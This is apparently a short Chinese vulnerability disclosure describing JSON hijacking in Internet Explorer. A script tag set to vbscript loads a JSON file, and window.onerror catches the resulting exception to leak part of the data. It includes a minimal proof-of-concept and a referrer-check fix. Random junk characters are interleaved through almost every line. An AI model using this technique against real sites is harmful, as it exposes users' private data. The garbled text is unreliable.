简要描述:* g! O! W, t( h; f9 Q
9 p' g' L9 s* P9 ^; n由于某些资源容器对数据处理不当导致json劫持漏洞.
! {% s8 t3 f5 F1 e( E1 J详细说明:2 g/ g& i) x4 V' R" ^1 d% R- L
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
* f- G5 F" T6 S0 S<script language=vbscript></script>; I5 _0 ?: l1 X0 H# M1 z
3 W8 F( V9 Q/ C
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.4 u( w. O& r8 B, r: S
漏洞证明:
/ {9 c2 z3 z/ t' z7 r<script>
" E0 C" C9 w7 |; x& ^window.onerror=function(_){
) W; X3 R2 i* H6 E* a: i% Walert(_)
+ p) I$ h0 K) i. B, t! G0 ~5 `5 t}4 d' o/ j+ v6 U1 m1 [ s W
</script>
1 F7 S1 U. U1 L' l& ~! I/ H<script language=vbscript src=1.json></script>
/ n# @# E# g/ u- I$ @% w ( e# f" O1 a( e
: m+ h+ K- l0 @" w" _ d4 R
1.json:- |; A: i) v+ v9 u, d$ j3 u! J
[{"name":"sogili","age":19}]
" l+ C& P( O4 M1 |- M5 w9 h修复方案:
: S7 ?( U4 C+ [+ \" i! T网站业务对于这个问题可以通过验证referrer是否为同源来防御 |